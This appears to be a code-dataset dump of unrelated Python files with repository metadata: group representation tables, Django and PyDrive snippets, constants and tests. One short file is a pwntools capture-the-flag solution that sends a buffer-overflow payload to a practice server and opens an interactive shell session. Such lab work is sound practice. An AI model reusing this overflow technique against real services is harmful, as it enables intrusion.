H | H 2H W W 3H f 2W 6H 3S 3V 3V 3W 3S 3W h h 2f 6S 3e 3f 6V 6W 3e 3e 3e 3c 2h 6c 3h 6e 6f 3h 6h
I | I S Z X I+S f e 3S 2I+f Z+c X+c X+e S+f Z+e h h 2f 2S+2f e+h 3f 2c+e 3e 2X+h e+h 2Z+h c+h 2h 2c+2h 3h 2e+2h 6f 3h 6h
J | J V Z Y J+V d e 3V Z+c 2J+c V+c Y+e Y+c Z+e 2d h h 2c+e e+h d+h 2V+2c 3e e+h 2Y+h 2Z+h 2c+d 2h 4c+h 2d+2h 2e+2h 3h 3h 6h
K | K V T X K+V g e 3V X+c V+c 2K+c X+e T+c T+e h 2g h 2c+e 2T+h g+h 2V+2c 3e 2X+h e+h e+h 2c+g 2h 4c+h 3h 2e+2h 3h 2g+2h 6h
L | L W W 2L L+W d 2W 3W X+e Y+e X+e 2L+2W Y+e 3W 2d h h 3e 3e d+h 3e 6W 2X+2e 2Y+2e 3e d+h 2h 3h 2d+2h 6e 3h 3h 6h
M | M S T Y M+S 2U e 3S S+f Y+c T+c Y+e 2M+f T+e 2d 2g 2f 2S+2f 2T+h 2U+2f 2c+e 3e e+h 2Y+h e+h 2a+h 2h 2c+2h 2d+2h 2e+2h 6f 2g+2h 6h
N | N W 2N W N+W g 2W 3W Z+e Z+e T+e 3W T+e 2N+2W h 2g h 3e 2T+2e g+h 3e 6W 3e 3e 2Z+2e g+h 2h 3h 3h 6e 3h 2g+2h 6h
P | P b b 2P d P+d 2b h h 2d h 2d 2d h 2P+2d b+h b+h 2h 2h 2d+h 2h 2h 2h 4d 2h 2d+h 2b+2h 4h 4d+2h 4h 4h 4h 8h
Q | Q b 2Q b g Q+g 2b h h h 2g h 2g 2g b+h 2Q+2g b+h 2h 4g 2g+h 2h 2h 2h 2h 2h 2g+h 2b+2h 4h 4h 4h 4h 4g+2h 8h
R | R 2R b b f R+f 2b 2f 2f h h h 2f h b+h b+h 2R+2f 4f 2h 4f 2h 2h 2h 2h 2h 2h 2b+2h 4h 4h 4h 8f 4h 8h
S | S 2S e e 3S 2f 2e 6S 2S+2f 2c+e 2c+e 3e 2S+2f 3e 2h 2h 4f 4S+4f 2e+2h 6f 4c+2e 6e 2e+2h 2e+2h 2e+2h 2c+2h 4h 4c+4h 6h 4e+4h 12f 6h 12h
T | T e 2T e T+e 2g 2e 3e e+h e+h 2T+h 3e 2T+h 2T+2e 2h 4g 2h 2e+2h 4T+2h 2g+2h 2e+2h 6e 2e+2h 2e+2h 2e+2h 2g+2h 4h 6h 6h 4e+4h 6h 4g+4h 12h
U | U f g d U+f 2U+f h 3f 3f d+h g+h d+h 2U+2f g+h 2d+h 2g+h 4f 6f 2g+2h 2U+5f 3h 3h 3h 2d+2h 3h d+g+2h 4h 6h 2d+5h 6h 12f 2g+5h 12h
V | V 2V e e 3V h 2e 6V 2c+e 2V+2c 2V+2c 3e 2c+e 3e 2h 2h 2h 4c+2e 2e+2h 3h 4V+4c 6e 2e+2h 2e+2h 2e+2h 4c+h 4h 8c+2h 6h 4e+4h 6h 6h 12h
W | W 2W 2W 2W 3W h 4W 6W 3e 3e 3e 6W 3e 6W 2h 2h 2h 6e 6e 3h 6e 12W 6e 6e 6e 3h 4h 6h 6h 12e 6h 6h 12h
X | X e e 2X X+e h 2e 3e 2X+h e+h 2X+h 2X+2e e+h 3e 2h 2h 2h 2e+2h 2e+2h 3h 2e+2h 6e 4X+2h 2e+2h 2e+2h 3h 4h 6h 6h 4e+4h 6h 6h 12h
Y | Y e e 2Y Y+e 2d 2e 3e e+h 2Y+h e+h 2Y+2e 2Y+h 3e 4d 2h 2h 2e+2h 2e+2h 2d+2h 2e+2h 6e 2e+2h 4Y+2h 2e+2h 2d+2h 4h 6h 4d+4h 4e+4h 6h 6h 12h
Z | Z e 2Z e Z+e h 2e 3e 2Z+h 2Z+h e+h 3e e+h 2Z+2e 2h 2h 2h 2e+2h 2e+2h 3h 2e+2h 6e 2e+2h 2e+2h 4Z+2h 3h 4h 6h 6h 4e+4h 6h 6h 12h
a | a c g d a+c d+g h 3c c+h 2c+d 2c+g d+h 2a+h g+h 2d+h 2g+h 2h 2c+2h 2g+2h d+g+2h 4c+h 3h 3h 2d+2h 3h 2a+c+2h 4h 4c+4h 2d+5h 6h 6h 2g+5h 12h
b | b 2b 2b 2b h b+h 4b 2h 2h 2h 2h 2h 2h 2h 2b+2h 2b+2h 2b+2h 4h 4h 4h 4h 4h 4h 4h 4h 4h 4b+4h 8h 8h 8h 8h 8h 16h
c | c 2c h h 3c 2h 2h 6c 2c+2h 4c+h 4c+h 3h 2c+2h 3h 4h 4h 4h 4c+4h 6h 6h 8c+2h 6h 6h 6h 6h 4c+4h 8h 8c+8h 12h 12h 12h 12h 24h
d | d h h 2d d+h 2d+h 2h 3h 3h 2d+2h 3h 2d+2h 2d+2h 3h 4d+2h 4h 4h 6h 6h 2d+5h 6h 6h 6h 4d+4h 6h 2d+5h 8h 12h 4d+10h 12h 12h 12h 24h
e | e 2e 2e 2e 3e 2h 4e 6e 2e+2h 2e+2h 2e+2h 6e 2e+2h 6e 4h 4h 4h 4e+4h 4e+4h 6h 4e+4h 12e 4e+4h 4e+4h 4e+4h 6h 8h 12h 12h 8e+8h 12h 12h 24h
f | f 2f h h 3f 4f 2h 6f 6f 3h 3h 3h 6f 3h 4h 4h 8f 12f 6h 12f 6h 6h 6h 6h 6h 6h 8h 12h 12h 12h 24f 12h 24h
g | g h 2g h g+h 2g+h 2h 3h 3h 3h 2g+2h 3h 2g+2h 2g+2h 4h 4g+2h 4h 6h 4g+4h 2g+5h 6h 6h 6h 6h 6h 2g+5h 8h 12h 12h 12h 12h 4g+10h 24h
h | h 2h 2h 2h 3h 4h 4h 6h 6h 6h 6h 6h 6h 6h 8h 8h 8h 12h 12h 12h 12h 12h 12h 12h 12h 12h 16h 24h 24h 24h 24h 24h 48h
"""
tables["PB_3"] = """
| A B C D E F G
--+----------------------------------------
A | A B C D E F G
B | B 2B+E 2F 2E+F 4E+G 2F+2G 6G
C | C 2F 2C+2F 2F+G 4G 4F+2G 8G
D | D 2E+F 2F+G 2D+E+2G 4E+4G 2F+5G 12G
E | E 4E+G 4G 4E+4G 8E+8G 12G 24G
F | F 2F+2G 4F+2G 2F+5G 12G 4F+10G 24G
G | G 6G 8G 12G 24G 24G 48G
"""
# binary dicyclic group
tables["Dic3"] = """
| A B C D E F
--+--------------------
A | A B C D E F
B | B 2B E 2D 2E 2F
C | C E C+E F 3E 3F
D | D 2D F 4D 2F 4F
E | E 2E 3E 2F 6E 6F
F | F 2F 3F 4F 6F 12F
"""
# binary dicyclic group
tables["Dic4"] = """
| A B C D E F G H I
--+--------------------------------
A | A B C D E F G H I
B | B 2B G G 2E H 2G 2H 2I
C | C G 2C G H 2F 2G 2H 2I
D | D G G 2D H H 2G 2H 2I
E | E 2E H H 2E+H 2H 2H 4H 4I
F | F H 2F H 2H 2F+H 2H 4H 4I
G | G 2G 2G 2G 2H 2H 4G 4H 4I
H | H 2H 2H 2H 4H 4H 4H 8H 8I
I | I 2I 2I 2I 4I 4I 4I 8I 16I
"""
# binary tetrahedral group, aka SL(2, 3)
tables["2T"] = """
| A B C D E F G
--+------------------------------
A | A B C D E F G
B | B 3B F 3D G 3F 3G
C | C F C+F 2F E+G 4F 4G
D | D 3D 2F 2D+2F 2G 6F 6G
E | E G E+G 2G 2E+2G 4G 8G
F | F 3F 4F 6F 4G 12F 12G
G | G 3G 4G 6G 8G 12G 24G
"""
# binary octahedral group
tables["2O"] = """
| A B C D E F G H I J K L M N P Q
--+---------------------------------------------------------------------------------
A | A B C D E F G H I J K L M N P Q
B | B 2B G H L L 2G 2H M M N 2L 2M 2N Q 2Q
C | C G C+G K E+L F+L 3G N P P K+N 3L Q 3N P+Q 3Q
D | D H K D+K 2K N N H+N I+P J+P 2K+N 2N M+Q 4N 2P+Q 4Q
E | E L E+L 2K 2E+N L+N 3L 2N 2P 2P 2K+2N 2L+2N 2Q 6N 2P+2Q 6Q
F | F L F+L N L+N 2F+N 3L 2N Q Q 3N 2L+2N 2Q 6N 3Q 6Q
G | G 2G 3G N 3L 3L 6G 2N Q Q 3N 6L 2Q 6N 3Q 6Q
H | H 2H N H+N 2N 2N 2N 2H+2N M+Q M+Q 4N 4N 2M+2Q 8N 4Q 8Q
I | I M P I+P 2P Q Q M+Q 2I+Q M+2P 2P+Q 2Q 2M+2Q 4Q 2P+3Q 8Q
J | J M P J+P 2P Q Q M+Q M+2P 2J+Q 2P+Q 2Q 2M+2Q 4Q 2P+3Q 8Q
K | K N K+N 2K+N 2K+2N 3N 3N 4N 2P+Q 2P+Q 2K+5N 6N 4Q 12N 2P+5Q 12Q
L | L 2L 3L 2N 2L+2N 2L+2N 6L 4N 2Q 2Q 6N 4L+4N 4Q 12N 6Q 12Q
M | M 2M Q M+Q 2Q 2Q 2Q 2M+2Q 2M+2Q 2M+2Q 4Q 4Q 4M+4Q 8Q 8Q 16Q
N | N 2N 3N 4N 6N 6N 6N 8N 4Q 4Q 12N 12N 8Q 24N 12Q 24Q
P | P Q P+Q 2P+Q 2P+2Q 3Q 3Q 4Q 2P+3Q 2P+3Q 2P+5Q 6Q 8Q 12Q 2P+11Q 24Q
Q | Q 2Q 3Q 4Q 6Q 6Q 6Q 8Q 8Q 8Q 12Q 12Q 16Q 24Q 24Q 48Q
"""
# binary icosahedral group
tables["2I"] = """
| A B C D E F G H I J K L
--+-------------------------------------------------------------------
A | A B C D E F G H I J K L
B | B B+G I G+I K F+K 2G+K L I+2K 2J+L 5K 5L
C | C I C+I 2I E+K 3I 2K H+L 2I+2K 2L 6K 6L
D | D G+I 2I D+I+K 2K 3I+K G+3K 2L 2I+4K J+3L 10K 10L
E | E K E+K 2K 2E+2K 3K 4K 2H+2L 6K 4L 12K 12L
F | F F+K 3I 3I+K 3K 3F+3K 5K 3L 3I+6K 5L 15K 15L
G | G 2G+K 2K G+3K 4K 5K 2G+6K 4L 10K 2J+6L 20K 20L
H | H L H+L 2L 2H+2L 3L 4L 4H+4L 6L 8L 12L 24L
I | I I+2K 2I+2K 2I+4K 6K 3I+6K 10K 6L 2I+14K 10L 30K 30L
J | J 2J+L 2L J+3L 4L 5L 2J+6L 8L 10L 4J+12L 20L 40L
K | K 5K 6K 10K 12K 15K 20K 12L 30K 20L 60K 60L
L | L 5L 6L 10L 12L 15L 20L 24L 30L 40L 60L 120L
"""
# From: Serre, 1977, p104
tables["C3*Q_8"] = """
| A B C D E F G H I J K L
--+--------------------------------------
A | A B C D E F G H I J K L
B | B 2B F F G 2F 2G K K 2J 2K 2L
C | C F 2C F H 2F K 2H K 2J 2K 2L
D | D F F 2D I 2F K K 2I 2J 2K 2L
E | E G H I 3E K 3G 3H 3I L 3K 3L
F | F 2F 2F 2F K 4F 2K 2K 2K 4J 4K 4L
G | G 2G K K 3G 2K 6G 3K 3K 2L 6K 6L
H | H K 2H K 3H 2K 3K 6H 3K 2L 6K 6L
I | I K K 2I 3I 2K 3K 3K 6I 2L 6K 6L
J | J 2J 2J 2J L 4J 2L 2L 2L 8J 4L 8L
K | K 2K 2K 2K 3K 4K 6K 6K 6K 4L 12K 12L
L | L 2L 2L 2L 3L 4L 6L 6L 6L 8L 12L 24L
"""
def process(table):
M = parse(table, perm=argv.perm)
print(M)
if M.shape[0]==M.shape[1]:
print("det:", numpy.linalg.det(M))
print()
order = M[-1, -1]
L, A = zelim(M)
print("L =")
print(shortstr(L))
print("A =")
print(shortstr(A))
LM = numpy.dot(L, M)
#print("LM =")
#print(shortstr(LM))
assert(numpy.alltrue(LM==A))
reps = A[:, -1]
print("order:", order)
print("dimension of reps:", reps)
print("sum of squares:", (reps*reps).sum())
if __name__ == "__main__":
table = tables[argv.next()]
process(table)
| 41.745487 | 179 | 0.393998 | 4,865 | 23,127 | 1.86372 | 0.07112 | 0.01125 | 0.015882 | 0.020293 | 0.250579 | 0.195765 | 0.163891 | 0.14051 | 0.122643 | 0.106099 | 0 | 0.214408 | 0.471224 | 23,127 | 553 | 180 | 41.820976 | 0.527026 | 0.029619 | 0 | 0.231278 | 0 | 0.189427 | 0.822728 | 0.047878 | 0 | 0 | 0 | 0 | 0.017621 | 1 | 0.013216 | false | 0 | 0.008811 | 0 | 0.039648 | 0.024229 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
55ab6f6d40a83b4e13117ee2fcf4a35df239afda | 133 | py | Python | operate_drive/auth.py | ftnext/diy-googledrive-operate | 6101f872228950a3276b5801e0c4e9051f257d59 | [
"MIT"
] | null | null | null | operate_drive/auth.py | ftnext/diy-googledrive-operate | 6101f872228950a3276b5801e0c4e9051f257d59 | [
"MIT"
] | 6 | 2020-06-12T13:12:26.000Z | 2021-09-05T03:40:24.000Z | operate_drive/auth.py | ftnext/diy-googledrive-operate | 6101f872228950a3276b5801e0c4e9051f257d59 | [
"MIT"
] | null | null | null | from pydrive2.auth import GoogleAuth
def _authenticate():
gauth = GoogleAuth()
gauth.LocalWebserverAuth()
return gauth
| 16.625 | 36 | 0.729323 | 13 | 133 | 7.384615 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009346 | 0.195489 | 133 | 7 | 37 | 19 | 0.88785 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
55baa001d09b960d5980db4fe98316c44a5cb7f4 | 218 | py | Python | Code/mytest_1219/test1219/urls.py | bbm-jnu/Capstone-Design-3 | a6e9b40cf5bb5f99136f0e2d5b115212e5575687 | [
"Unlicense"
] | null | null | null | Code/mytest_1219/test1219/urls.py | bbm-jnu/Capstone-Design-3 | a6e9b40cf5bb5f99136f0e2d5b115212e5575687 | [
"Unlicense"
] | null | null | null | Code/mytest_1219/test1219/urls.py | bbm-jnu/Capstone-Design-3 | a6e9b40cf5bb5f99136f0e2d5b115212e5575687 | [
"Unlicense"
] | null | null | null | from django.contrib import admin
from django.urls import path
from . import views
app_name = 'test1219'
urlpatterns = [
path('', views.index, name='index'), # /polls/
path('maps/', views.maps, name='maps')
]
| 21.8 | 51 | 0.674312 | 29 | 218 | 5.034483 | 0.517241 | 0.136986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022099 | 0.169725 | 218 | 9 | 52 | 24.222222 | 0.78453 | 0.03211 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
e9522d7dae35789720511d3fabcb52efe438a4e0 | 80 | py | Python | giveaway/core/constants.py | MrMrRobat/giveaway | 5453b34c706a3aa7e0fe50a2cfa57ae4d3a06dc9 | [
"MIT"
] | null | null | null | giveaway/core/constants.py | MrMrRobat/giveaway | 5453b34c706a3aa7e0fe50a2cfa57ae4d3a06dc9 | [
"MIT"
] | 5 | 2019-10-12T14:46:50.000Z | 2020-03-16T10:15:03.000Z | giveaway/core/constants.py | MrMrRobat/giveaway | 5453b34c706a3aa7e0fe50a2cfa57ae4d3a06dc9 | [
"MIT"
] | 1 | 2019-10-12T14:41:45.000Z | 2019-10-12T14:41:45.000Z | import re
VALID_USERNAME = re.compile(r"^@?[0-9A-Za-z_]+$")
ENCODING = "utf-8"
| 16 | 49 | 0.6375 | 14 | 80 | 3.5 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042254 | 0.1125 | 80 | 4 | 50 | 20 | 0.647887 | 0 | 0 | 0 | 0 | 0 | 0.275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
e96848e4fcd8e0c24cee0536492d17ac941402fe | 56 | py | Python | gibberish/__init__.py | vsobolmaven/gibberish | 2c64b0a8bdf9035a21c331a3d91c8b17b7f12a0b | [
"MIT"
] | null | null | null | gibberish/__init__.py | vsobolmaven/gibberish | 2c64b0a8bdf9035a21c331a3d91c8b17b7f12a0b | [
"MIT"
] | null | null | null | gibberish/__init__.py | vsobolmaven/gibberish | 2c64b0a8bdf9035a21c331a3d91c8b17b7f12a0b | [
"MIT"
] | 1 | 2020-01-03T10:51:17.000Z | 2020-01-03T10:51:17.000Z | from gibberish import Gibberish
__all__ = ['Gibberish'] | 18.666667 | 31 | 0.785714 | 6 | 56 | 6.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 56 | 3 | 32 | 18.666667 | 0.816327 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
e9791bcca721451c639ebd3f9dfb048ed2be742b | 107 | py | Python | CTF-2019/HackCTF/basicbof1.py | junhoyeo/WriteUps | afd2e4cc514cf5b82097acc5b35c55cfc99bf937 | [
"MIT"
] | 14 | 2018-12-08T15:06:08.000Z | 2022-01-09T00:31:42.000Z | CTF-2019/HackCTF/basicbof1.py | JunhoYeo/WriteUps | afd2e4cc514cf5b82097acc5b35c55cfc99bf937 | [
"MIT"
] | 1 | 2018-08-02T03:34:27.000Z | 2018-08-02T03:34:27.000Z | CTF-2019/HackCTF/basicbof1.py | junhoyeo/WriteUps | afd2e4cc514cf5b82097acc5b35c55cfc99bf937 | [
"MIT"
] | 9 | 2018-11-16T15:52:48.000Z | 2021-04-20T07:15:18.000Z | from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3000)
r.sendline('a'*40 + p32(3735928559))
r.interactive() | 26.75 | 36 | 0.700935 | 17 | 107 | 4.411765 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.208333 | 0.102804 | 107 | 4 | 37 | 26.75 | 0.572917 | 0 | 0 | 0 | 0 | 0 | 0.157407 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
e97bc887ee4fe7c9a45d7ce334f0d94389edc03c | 744 | py | Python | test/news_test.py | shureim/News-Highlights | 371163656101b096b40f2f8c796dc27761803745 | [
"MIT"
] | null | null | null | test/news_test.py | shureim/News-Highlights | 371163656101b096b40f2f8c796dc27761803745 | [
"MIT"
] | null | null | null | test/news_test.py | shureim/News-Highlights | 371163656101b096b40f2f8c796dc27761803745 | [
"MIT"
] | null | null | null | import unittest
from app.models import News
class NewsTest(unittest.TestCase):
"""
test class to test the behaviour of the news class
"""
def setUp(self) :
"""
setup method will run before every test
"""
self.new_news = News("James Reinl", "After trade deal win, Trump doubles down on China", "No plans for China-US negotiations over trade war", "http:\/\/www.aljazeera.com\/news\/2018\/10\/trade-deal-win-trump-doubles-china-181004042022058.html", "https:\/\/www.aljazeera.com\/mritems\/Images\/2018\/8\/29\/80285b02a3b34ae8b31bc78eec9d59a6_18.jpg", "US President Donald Trump's new trade deal with Canada")
def test_instance(self):
self.assertTrue(isinstance(self.new_news,News))
| 46.5 | 412 | 0.697581 | 103 | 744 | 5 | 0.631068 | 0.052427 | 0.042718 | 0.058252 | 0.093204 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079675 | 0.173387 | 744 | 15 | 413 | 49.6 | 0.757724 | 0.120968 | 0 | 0 | 0 | 0.285714 | 0.585366 | 0.320325 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.285714 | false | 0 | 0.285714 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
e98abc2ad5c00d5552b0797f565f77c15ca75aad | 624 | py | Python | DatabasePackage/src/DatabaseSetingsModule/__init__.py | soumilshah1995/python-package-sphinx-template | d00885442353e021898d4fd7c53e619828543c32 | [
"Apache-2.0"
] | 1 | 2021-12-07T01:40:49.000Z | 2021-12-07T01:40:49.000Z | DatabasePackage/src/DatabaseSetingsModule/__init__.py | soumilshah1995/python-package-sphinx-template | d00885442353e021898d4fd7c53e619828543c32 | [
"Apache-2.0"
] | null | null | null | DatabasePackage/src/DatabaseSetingsModule/__init__.py | soumilshah1995/python-package-sphinx-template | d00885442353e021898d4fd7c53e619828543c32 | [
"Apache-2.0"
] | 1 | 2022-02-24T09:17:36.000Z | 2022-02-24T09:17:36.000Z | """
DatabaseSetingsModule
----------------------
This is a Module which has Class for Database and database Settings
"""
class Database(object):
"""Database Class which is responsile for connecting to databse """
def __init__(self, connection_string):
"""
This is connection string o connect to sql server
:param connection_string: str
"""
self.connection_string = connection_string
def connect(self) -> True:
"""
This method is used to connect to database
:return: Bool
"""
print("connected to database")
return True
| 23.111111 | 71 | 0.610577 | 68 | 624 | 5.485294 | 0.514706 | 0.214477 | 0.107239 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.280449 | 624 | 26 | 72 | 24 | 0.830735 | 0.498397 | 0 | 0 | 0 | 0 | 0.088608 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0.166667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
e9961651c4886fbdd65604b343e78e63e19f7700 | 166 | py | Python | pytd/pytdutils/pytdout/omanstate.py | perfect-less/Python-YouTube-Downloader | 2a4d2eeebfda42339614938e5c65fd86615e87f7 | [
"Unlicense"
] | 2 | 2022-03-07T06:46:32.000Z | 2022-03-07T15:22:02.000Z | pytd/pytdutils/pytdout/omanstate.py | perfect-less/Python-YouTube-Downloader | 2a4d2eeebfda42339614938e5c65fd86615e87f7 | [
"Unlicense"
] | null | null | null | pytd/pytdutils/pytdout/omanstate.py | perfect-less/Python-YouTube-Downloader | 2a4d2eeebfda42339614938e5c65fd86615e87f7 | [
"Unlicense"
] | null | null | null | from enum import Enum
class OManState (Enum):
parsing = 1
processinginput = 2
selectstream = 3
downloading = 4
cleaningup = 5
finaloutput = 6 | 18.444444 | 23 | 0.650602 | 19 | 166 | 5.684211 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051282 | 0.295181 | 166 | 9 | 24 | 18.444444 | 0.871795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
e9c5f4fdd8aa90076afc62b39f7bf703d36d7800 | 682 | py | Python | OSIx/core/constants.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | 1 | 2021-08-17T18:45:07.000Z | 2021-08-17T18:45:07.000Z | OSIx/core/constants.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | 12 | 2021-08-11T18:24:32.000Z | 2021-08-23T14:57:36.000Z | OSIx/core/constants.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | null | null | null | """Constants File."""
from typing import Dict
SINGLE_FB_PROFILE_DATA_ITEM: Dict = {
'id': '', # Facebook ID
'friends': [], # List of SINGLE_FB_FRIEND_DATA_ITEM
'family': []
}
SINGLE_INSTAGRAM_PROFILE_DATA_ITEM: Dict = {
'fullname': '',
'profile_pic': '',
'id': '', # Instagram ID
'followers': [], # List of SINGLE_INSTAGRAM_FRIEND_DATA_ITEM
'following': [] # List of SINGLE_INSTAGRAM_FRIEND_DATA_ITEM
}
SINGLE_FB_FRIEND_DATA_ITEM: Dict = {
'name': '',
'id': '',
'path': '',
'profile_pic': ''
}
SINGLE_INSTAGRAM_FRIEND_DATA_ITEM: Dict = {
'name': '',
'id': '',
'path': '',
'profile_pic': ''
}
| 21.3125 | 65 | 0.580645 | 74 | 682 | 4.932432 | 0.337838 | 0.153425 | 0.191781 | 0.205479 | 0.523288 | 0.4 | 0.4 | 0.208219 | 0.208219 | 0 | 0 | 0 | 0.243402 | 682 | 31 | 66 | 22 | 0.707364 | 0.234604 | 0 | 0.4 | 0 | 0 | 0.1875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.04 | 0 | 0.04 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
759867a63f134f797c5ef12b4b23ea48a68f5504 | 1,297 | py | Python | apps/ebooks/models.py | dryprojects/MyBlog | ec04ba2bc658e96cddeb1d4766047ca8e89ff656 | [
"BSD-3-Clause"
] | 2 | 2021-08-17T13:29:21.000Z | 2021-09-04T05:00:01.000Z | apps/ebooks/models.py | dryprojects/MyBlog | ec04ba2bc658e96cddeb1d4766047ca8e89ff656 | [
"BSD-3-Clause"
] | 1 | 2020-07-16T11:22:32.000Z | 2020-07-16T11:22:32.000Z | apps/ebooks/models.py | dryprojects/MyBlog | ec04ba2bc658e96cddeb1d4766047ca8e89ff656 | [
"BSD-3-Clause"
] | 1 | 2020-09-18T10:41:59.000Z | 2020-09-18T10:41:59.000Z | from django.db import models
from django.utils.timezone import now
# Create your models here.
class Ebook(models.Model):
title = models.CharField(verbose_name='书名', max_length=100)
sub_title = models.CharField(verbose_name='副标题', max_length=100, null=True, blank=True)
cover_url = models.URLField(verbose_name='封面链接')
author_name = models.CharField(verbose_name='作者名字', max_length=50)
isbn = models.CharField(verbose_name='ISBN-10', max_length=50)
published_year = models.CharField(verbose_name='出版年限', max_length=4)
pages = models.PositiveIntegerField(verbose_name="页数")
language = models.CharField(verbose_name="书籍语言", max_length=50)
file_size = models.CharField(verbose_name="电子书大小", max_length=50)
file_format = models.CharField(verbose_name="电子书格式", max_length=100)
category = models.CharField(verbose_name="电子书类目", max_length=100)
description = models.TextField()
download_links = models.CharField(verbose_name="下载地址", max_length=500)
url_object_id = models.CharField(verbose_name="url标识", max_length=100, unique=True)
crawl_time = models.DateTimeField(verbose_name="爬取时间", default=now)
class Meta:
verbose_name = "电子书"
verbose_name_plural = verbose_name
def __str__(self):
